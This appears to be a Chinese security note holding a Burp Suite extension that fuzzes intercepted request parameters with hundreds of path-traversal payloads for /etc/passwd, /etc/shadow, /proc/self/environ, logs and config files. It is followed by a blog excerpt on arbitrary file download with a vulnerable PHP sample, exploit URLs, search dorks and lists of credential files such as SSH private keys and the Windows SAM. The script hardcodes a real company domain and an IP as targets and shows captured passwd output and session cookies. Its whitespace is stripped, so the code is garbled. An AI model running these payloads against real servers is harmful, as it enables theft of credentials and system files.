#-*-coding:utf-8-*-
#!/usr/bin/envpython #现在想改动,感动的方法就是如果参数值value里面有.或者/才调用这个任意文件读取脚本,如果含有//或者有哪些ssrf的明显的参数name才调用ssrf的
#author:xiaodong
#支持mysql的报错注入和延时注入,mssql的延时注入检测
#如果需要,可以把注释掉的sql检测语句也加入到检测里
#bool类型检测自己手动检测就行,无需脚本
#关键参数
Filename、file、filepath path
关键字参考https://www.jianshu.com/p/f4b06f59c4cb
from__future__importwith_statement
fromburpimportIBurpExtender
fromburpimportIHttpListener
fromburpimportIHttpRequestResponse
fromburpimportIResponseInfo
fromburpimportIRequestInfo
fromburpimportIHttpService
importre
importtime
importthreading
importsys
reload(sys)
sys.setdefaultencoding('UTF-8')
SLEEP_TIME=3
saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt'
print"LFIGET\nauthor:xiaodong"
classFuzzLFI:
def__init__(self):
#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!!
self.dir=[
'/etc/passwd',
'../logs/access_log',
'../logs/error_log',
'/etc/shadow',
'/etc/group',
'proc/self/environ',
'/proc/self/environ',
'/proc/self/cmdline',
'/proc/self/stat',
'/proc/self/status',
'/proc/self/fd/0',
'/var/cpanel/cpanel.config',
'../etc/passwd',
'../../etc/passwd',
'../../../etc/passwd',
'../../../../etc/passwd',
'../../../../../etc/passwd',
'../../../../../../etc/passwd',
'../../../../../../../etc/passwd',
'../../../../../../../../etc/passwd',
'../../../../../../../../../etc/passwd',
'../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../etc/passwd',
'../../../../../../../../../../../../../../../../etc/passwd',
'../proc/self/environ',
'proc/self/environ%00',
'../proc/self/fd/8',
'../proc/self/fd/8%00',
'/etc/security/group',
'/etc/security/passwd',
'/etc/security/user',
'/etc/security/environ',
'/etc/security/limits',
'/usr/lib/security/mkuser.default',
'/apache/logs/access.log',
'/apache/logs/error.log',
'/etc/httpd/logs/acces_log',
'/etc/httpd/logs/error_log',
'/var/www/logs/access_log',
'/usr/local/apache/logs/access_log',
'../../apache/logs/access.log',
'../../../apache/logs/access.log',
'../../../../apache/logs/access.log',
'/var/log/apache/access_log',
'/var/log/apache2/access_log',
'/var/log/access_log',
'/var/www/logs/error_log',
'/usr/local/apache/logs/error_log',
'/usr/local/apache/logs/error.log',
'/var/log/apache/error_log',
'/var/log/apache2/error_log',
'/var/log/apache/error.log',
'/var/log/apache2/error.log',
'/var/log/error_log',
'/var/log/httpd/access_log',
'/var/log/httpd/error_log',
'/apache2/logs/error.log',
'/apache2/logs/access.log',
'/logs/error.log',
'/logs/access.log',
'/etc/httpd/logs/acces.log',
'/etc/httpd/logs/error.log',
'/usr/local/apache/logs/access.log',
'/usr/local/apache2/logs/access_log',
'/usr/local/apache2/logs/error_log',
'/var/www/logs/access.log',
'/var/log/httpd/access.log',
'/var/log/httpd/error.log',
'/var/log/apache/access.log',
'/var/log/apache2/access.log',
'/opt/lampp/logs/access_log',
'/opt/lampp/logs/error_log',
'/opt/xampp/logs/access_log',
'/opt/xampp/logs/error_log',
'/opt/lampp/logs/access.log',
'/opt/lampp/logs/error.log',
'/opt/xampp/logs/access.log',
'/opt/xampp/logs/error.log',
'/ProgramFiles\ApacheGroup\Apache\logs\error.log',
'/logs/access_log',
'/logs/error_log',
'../../logs/error_log',
'../../../logs/access_log',
'../../../../logs/error_log',
'../../../../../logs/error_log',
'../../../../../../logs/error_log',
'../../../../../../../logs/error_log',
'../../logs/access_log',
'../../../../logs/access_log',
'../../../../../logs/access_log',
'../../../../../../logs/access_log',
'../../../../../../../logs/access_log',
'/usr/local/apache/conf/httpd.conf',
'/usr/local/apache2/conf/httpd.conf',
'/etc/httpd/conf/httpd.conf',
'/etc/apache/conf/httpd.conf',
'/usr/local/etc/apache/conf/httpd.conf',
'/etc/apache2/httpd.conf',
'/usr/local/apache/httpd.conf',
'/usr/local/apache2/httpd.conf',
'/usr/local/httpd/conf/httpd.conf',
'/usr/local/etc/apache2/conf/httpd.conf',
'/usr/local/etc/httpd/conf/httpd.conf',
'/usr/apache2/conf/httpd.conf',
'/usr/apache/conf/httpd.conf',
'/usr/local/apps/apache2/conf/httpd.conf',
'/usr/local/apps/apache/conf/httpd.conf',
'/etc/apache2/conf/httpd.conf',
'/etc/http/conf/httpd.conf',
'/etc/httpd/httpd.conf',
'/etc/http/httpd.conf',
'/etc/httpd.conf',
'/opt/apache/conf/httpd.conf',
'/opt/apache2/conf/httpd.conf',
'/var/www/conf/httpd.conf',
'/private/etc/httpd/httpd.conf',
'/private/etc/httpd/httpd.conf.default',
'/Volumes/webBackup/opt/apache2/conf/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf',
'/Volumes/webBackup/private/etc/httpd/httpd.conf.default',
'/ProgramFiles\ApacheGroup\Apache\conf\httpd.conf',
'/ProgramFiles\ApacheGroup\Apache2\conf\httpd.conf',
'/usr/local/php/httpd.conf.php',
'/usr/local/php4/httpd.conf.php',
'/usr/local/php5/httpd.conf.php',
'/usr/local/php/httpd.conf',
'/usr/local/php4/httpd.conf',
'/usr/local/php5/httpd.conf',
'/Volumes/Macintosh_HD1/opt/httpd/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache/conf/httpd.conf',
'/Volumes/Macintosh_HD1/opt/apache2/conf/httpd.conf',
'/Volumes/Macintosh_HD1/usr/local/php/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php4/httpd.conf.php',
'/Volumes/Macintosh_HD1/usr/local/php5/httpd.conf.php',
'/usr/local/etc/apache/vhosts.conf',
'/etc/php.ini',
'/bin/php.ini',
'/etc/httpd/php.ini',
'/usr/lib/php.ini',
'/usr/lib/php/php.ini',
'/usr/local/etc/php.ini',
'/usr/local/lib/php.ini',
'/usr/local/php/lib/php.ini',
'/usr/local/php4/lib/php.ini',
'/usr/local/php5/lib/php.ini',
'/usr/local/apache/conf/php.ini',
'/etc/php4.4/fcgi/php.ini',
'/etc/php4/apache/php.ini',
'/etc/php4/apache2/php.ini',
'/etc/php5/apache/php.ini',
'/etc/php5/apache2/php.ini',
'/etc/php/php.ini',
'/etc/php/php4/php.ini',
'/etc/php/apache/php.ini',
'/etc/php/apache2/php.ini',
'/web/conf/php.ini',
'/usr/local/Zend/etc/php.ini',
'/opt/xampp/etc/php.ini',
'/var/local/www/conf/php.ini',
'/etc/php/cgi/php.ini',
'/etc/php4/cgi/php.ini',
'/etc/php5/cgi/php.ini',
'/php5\php.ini',
'/php4\php.ini',
'/php\php.ini',
'/PHP\php.ini',
'/WINDOWS\php.ini',
'/WINNT\php.ini',
'/apache\php\php.ini',
'/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini',
'/usr/local/cpanel/logs',
'/usr/local/cpanel/logs/stats_log',
'/usr/local/cpanel/logs/access_log',
'/usr/local/cpanel/logs/error_log',
'/usr/local/cpanel/logs/license_log',
'/usr/local/cpanel/logs/login_log',
'/var/log/mysql/mysql-bin.log',
'/var/log/mysql.log',
'/var/log/mysqlderror.log',
'/var/log/mysql/mysql.log',
'/var/log/mysql/mysql-slow.log',
'/var/mysql.log',
'/var/lib/mysql/my.cnf',
'/etc/mysql/my.cnf',
'/etc/my.cnf',
'C:/boot.ini',
'c:/wamp/logs/access.log',
'/etc/logrotate.d/proftpd',
'/www/logs/proftpd.system.log',
'/var/log/proftpd',
'/etc/proftp.conf',
'/etc/protpd/proftpd.conf',
'/etc/vhcs2/proftpd/proftpd.conf',
'/etc/proftpd/modules.conf',
'/var/log/vsftpd.log',
'/etc/vsftpd.chroot_list',
'/etc/logrotate.d/vsftpd.log',
'/etc/vsftpd/vsftpd.conf',
'/etc/vsftpd.conf',
'/etc/chrootUsers',
'/var/log/xferlog',
'/var/adm/log/xferlog',
'/etc/wu-ftpd/ftpaccess',
'/etc/wu-ftpd/ftphosts',
'/etc/wu-ftpd/ftpusers',
'/usr/sbin/pure-config.pl',
'/usr/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.conf',
'/usr/local/etc/pure-ftpd.conf',
'/usr/local/etc/pureftpd.pdb',
'/usr/local/pureftpd/etc/pureftpd.pdb',
'/usr/local/pureftpd/sbin/pure-config.pl',
'/usr/local/pureftpd/etc/pure-ftpd.conf',
'-/etc/pure-ftpd.conf',
'/etc/pure-ftpd/pure-ftpd.pdb',
'/etc/pureftpd.pdb',
'/etc/pureftpd.passwd',
'/etc/pure-ftpd/pureftpd.pdb',
'/usr/ports/ftp/pure-ftpd/',
'/usr/ports/net/pure-ftpd/',
'/usr/pkgsrc/net/pureftpd/',
'/usr/ports/contrib/pure-ftpd/',
'/var/log/pure-ftpd/pure-ftpd.log',
'/logs/pure-ftpd.log',
'/var/log/pureftpd.log',
'/var/log/ftp-proxy/ftp-proxy.log',
'/var/log/ftp-proxy',
'/var/log/ftplog',
'/etc/logrotate.d/ftp',
'/etc/ftpchroot',
'/etc/ftphosts',
'/var/log/exim_mainlog',
'/var/log/exim/mainlog',
'/var/log/maillog',
'/var/log/exim_paniclog',
'/var/log/exim/paniclog',
'/var/log/exim/rejectlog',
'/var/log/exim_rejectlog',
'../etc/passwd%00',
'../../etc/passwd%00',
'../../../etc/passwd%00',
'../../../../etc/passwd%00',
'../../../../../etc/passwd%00',
'../../../../../../etc/passwd%00',
'../../../../../../../etc/passwd%00',
'../../../../../../../../etc/passwd%00',
'../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../etc/passwd%00',
'../../../../../../../../../../../../../../../../etc/passwd%00',
'../etc/shadow',
'../../etc/shadow',
'../../../etc/shadow',
'../../../../etc/shadow',
'../../../../../etc/shadow',
'../../../../../../etc/shadow',
'../../../../../../../etc/shadow',
'../../../../../../../../etc/shadow',
'../../../../../../../../../etc/shadow',
'../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../etc/shadow',
'../../../../../../../../../../../../../../etc/shadow',
'../etc/group',
'../../etc/group',
'../../../etc/group',
'../../../../etc/group',
'../../../../../etc/group',
'../../../../../../etc/group',
'../../../../../../../etc/group',
'../../../../../../../../etc/group',
'../../../../../../../../../etc/group',
'../../../../../../../../../../etc/group',
'../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../etc/group',
'../../../../../../../../../../../../../../etc/group',
'../etc/security/group',
'../../etc/security/group',
'../../../etc/security/group',
'../../../../etc/security/group',
'../../../../../etc/security/group',
'../../../../../../etc/security/group',
'../../../../../../../etc/security/group',
'../../../../../../../../etc/security/group',
'../../../../../../../../../etc/security/group',
'../../../../../../../../../../etc/security/group',
'../../../../../../../../../../../etc/security/group',
'../etc/security/user',
'../../etc/security/user',
'../../../etc/security/user',
'../../../../etc/security/user',
'../../../../../etc/security/user',
'../../../../../../etc/security/user',
'../../../../../../../etc/security/user',
'../../../../../../../../etc/security/user',
'../../../../../../../../../etc/security/user',
'../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../etc/security/user',
'../../../../../../../../../../../../../etc/security/user',
'/WEB-INF/web.xml'
]
self.errorFlag=re.compile(r'.*(root:|sbin|State:R(running)|Tgid:|TracerPid:|Uid:|Filedoesnotexist:|emailusersbandwidth|adminuser=|database_prefix=|nologin|DB_NAME|daemon:|DOCUMENT_ROOT=|PATH="|HTTP_USER_AGENT|HTTP_ACCEPT_ENCODING=|GET/|HTTP/1.1|HTTP/1.0|apache_port=|cpanel/logs/access|allow_login_autocomplete|\^\^\^).*')
self.ssrfFlas=re.compile(r'.*(HTTPRecordInsertSuccess\^\^\^).*')
classBurpExtender(IBurpExtender,IHttpListener):
globalurls
urls=[]
defregisterExtenderCallbacks(self,callbacks):
self._callbacks=callbacks
#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。
self._helpers=callbacks.getHelpers()
#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。
self._callbacks.setExtensionName("LFIGET")
#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。
callbacks.registerHttpListener(self)
self.fuzzLFI=FuzzLFI()
#获取请求的url
defget_request_url(self,protocol,reqHeaders):
link=reqHeaders[0].split('')[1]
host=reqHeaders[1].split('')[1]
returnprotocol+'://'+host+link
#保存结果
#获取请求的一些信息:请求头,请求内容,请求方法,请求参数
defget_request_info(self,request):
analyzedRequest=self._helpers.analyzeRequest(
request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象
reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。
reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。
reqMethod=analyzedRequest.getMethod()#获取请求方法
reqParameters=analyzedRequest.getParameters()
returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters
#获取响应的一些信息:响应头,响应内容,响应状态码
defget_response_info(self,response):
analyzedResponse=self._helpers.analyzeResponse(
response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。
resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。
resBodys=response[
analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容
resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。
returnresHeaders,resBodys,resStatusCode
#获取服务端的信息,主机地址,端口,协议
defget_server_info(self,httpService):
host=httpService.getHost()
port=httpService.getPort()
protocol=httpService.getProtocol()
ishttps=False
ifprotocol=='https':
ishttps=True
returnhost,port,protocol,ishttps
#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用)
defget_parameter_Name_Value_Type(self,parameter):
parameterName=parameter.getName()
parameterValue=parameter.getValue()
parameterType=parameter.getType()
returnparameterName,parameterValue,parameterType
#检查是否存在LFI
defcheck_lfi_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueLFI,parameterType):
thread_id=threading.current_thread().ident
#print'['+str(thread_id)+']'+parameterValueSQL
#构造参数
newParameter=self._helpers.buildParameter(parameterName,parameterValueLFI,parameterType)
#printnewParameter
#更新参数,并发送请求
newRequest=self._helpers.updateParameter(request,newParameter)
newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info(
newRequest)
#新的响应
newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest)
newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
#判断是否存在特征
errorInject=self.fuzzLFI.errorFlag.findall(newResBodys)
iferrorInject:
#获取请求的url
newReqUrl=self.get_request_url(protocol,newReqHeaders)
content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[LFIGET]',errorInject,newReqUrl,newReqHeaders,newReqBodys)
printcontent
#self.save(content)
print'-'*50
#每次burp发送请求时,都会调用该方法
defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo):
'''
:paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义
:parammessageIsRequest:标记是否为请求或响应调用方法。
:parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。
:return:
'''
#Proxy触发插件
iftoolFlag==4:
#处理响应内容
ifnotmessageIsRequest:
#获取请求包的数据
request=messageInfo.getRequest()
analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)
#获取响应包的数据
#response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。
#resHeaders,resBodys,resStatusCode=self.get_response_info(response)
#获取服务信息
httpService=messageInfo.getHttpService()
host,port,protocol,ishttps=self.get_server_info(httpService)
#获取请求的url
#reqUrl=self.get_request_url(protocol,reqHeaders)
#ifreqMethod=='GET':
iflen(host.split('.')[-2])!=3:
host_exp=host.split('.')[-2]+'.'+host.split('.')[-1]
else:
host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1]
#printhost_exp
#获取请求的url
#reqUrl=self.get_request_url(protocol,reqHeaders)
url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys)
#printurl
#ifreqMethod=='GET':
target_host=['','saicmaxus.com','']
target_ip=['149.28.232.77']
ifurlnotinurls:
#printurl
urls.append(url)
ifhost_expintarget_hostorhostintarget_ip:
ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'):
#print"staticsource"
pass
else:
error_threads=[]
parameterErrorLFI=[]#报错语句列表
forparameterinreqParameters:
parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter)
ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:
forlficontentinself.fuzzLFI.dir:
a=lficontent
#returnparameterValue
#printa
parameterErrorLFI.append([parameterName,a,parameterType])
else:
parameterErrorLFI.append([parameterName,parameterValue,parameterType])
forlficontentinparameterErrorLFI:
parameterName,parameterValueLFI,parameterType=lficontent
#printparameterName,parameterValueLFI
t=threading.Thread(target=self.check_lfi_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueLFI,parameterType))
error_threads.append(t)
t.start()
fortinerror_threads:
t.join()
else:
print"isarepeaturl"
<<LFI_scan.py>>
运行效果
![Python Python Errors o Output to system console 0 dig injection»int @ Show in UI GET] [('sbin', [Headers] http://1 49 28 232 77/dvwa/vuInerabiItiesMpage=/proc/seIf/cmdIine [Bodys] [GET /dvwa/vulnerabiltiesmnpage=/proc/self/cmdline HTTP/I Host 149 28 232 77 Upgrade-Insecure-Requests I User-Agent: MoziIIaEO Cvundows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538 10 SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN Cookie csrftoken=aJufhdzgvVsubUuJ30UHafdi0YzuP3PgngocM LS07soVj8HUkaQOGbx4F4aRQpE; sessionid=a3j8mdfnsqpxkergkowuvtxdm185udeb; PHPSESSID =amImhijonS4S2i6c7hkpgcfs66, Connection: close] [Croot:', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin' ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', ('nologin', [Headers] http://1 49 28 232 77/dvwa/vuInerabiItiesMpage=/etc/passwd [Bodys] [GET /dvwa/vulnerabilties/flnpage=/etc/passwd HTTP/I Host 149 28 232 77 Upgrade-Insecure-Requests I User-Agent: MoziIIaEO Cvundows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko) securty=medium; ('nologin', ('nologin', ('nologin', Chromey70 0 3538 I O SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN g Cookie securty=medium; csrftoken=8JufhdzgvVsubUuJ30UHafdiOYzuP3PgngOCMxoLS07soVj8HUkaQOGbx4F4aRQpE; sessionid=a3j8mdfnSqpxkergkOwuvtxdm18Sudeb; PHPSESSID=amImhijonS4S2i6c7hkpgcfs66, Connection: close] [('Tgid:', ('TracerPid:', ('Uid:', [Headers] http://1 49 28 232 77/dvwa/vuInerabiItiesMpage=/proc/seIf/status [Bodys] [GET /dvwa/vulnerabilties/flnpage=/proc/self/status HTTP/I Host 149 28 232 77 Upgrade-Insecure-Requests I User-Agent: MoziIIaEO Cvundows NT 10 0, V'vOv'vE4) AppleWebKtE37 36 (KHTML, like Gecko) Chromey70 0 3538 I O SafariE37 36, Accept: text'html ,application/xhtml+xml S ,image/webp ,image/apng E, Accept-Encoding: gzip, deflate, Accept-Language: zh-CN Cookie securty=medium; csrftoken=8JufhdzWVsubUuJ30UHafdiOYzuP3PgngOCMxoLS07soVj8HUkaOOGbx4F4aROpE; sessionid=a3j8mdfnSqpxkergkOwuvtxdm18Sudeb; PHPSESSID=amImhijonS4S2i6c7hkpgcfs66, Connection: close]](LFI文件读取_files/clip_image0015af44296-3841-4304-8f45-2badd0f8fea5.png)
https://blog.csdn.net/u011215939/article/details/78839546
任意文件读取下载漏洞
漏洞原理
一个正常的网站,存在一个下载文件的功能,同时还会从浏览器接收文件名字,将存在任意文件下载漏洞。
<?php
$filename = $_GET['filename'];
echo '<h1>讲开始下载文件!</h1><br /><br />';
echo file_get_contents($filename);
header('Content-Type: imgage/jpeg');
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Lengh: '.filesize($filename));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
利用方式
readfile.php?file=/etc/passwd
readfile.php?file=../../../../../../../../etc/passwd
readfile.php?file=../../../../../../../../etc/passwd%00
漏洞发现
Google search
inurl:”readfile.php?file=”
inurl:”read.php?filename=”
inurl:”download.php?file=”
inurl:”down.php?file=”
可以用Google hacking或Web漏洞扫描器。从链接上看,形如:
readfile.php?file=*.txt
download.php?file=*.rar
从参数名看,形如:
&RealPath=
&FilePath=
&filepath=
&Path=
&path=
&inputFile=
&url=
&urls=
&Lang=
&dis=
&data=
&readfile=
&filep=
&src=
&menu=
META-INF
WEB-INF
敏感信息
Windows:
C:\boot.ini //查看系统版本
C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件
C:\Windows\repair\sam //存储系统初次安装的密码
C:\Program Files\mysql\my.ini //Mysql配置
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
Linux:
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
---------------------
作者:猫星人不会笑
来源:CSDN
原文:https://blog.csdn.net/u011215939/article/details/78839546
版权声明:本文为博主原创文章,转载请附上博文链接!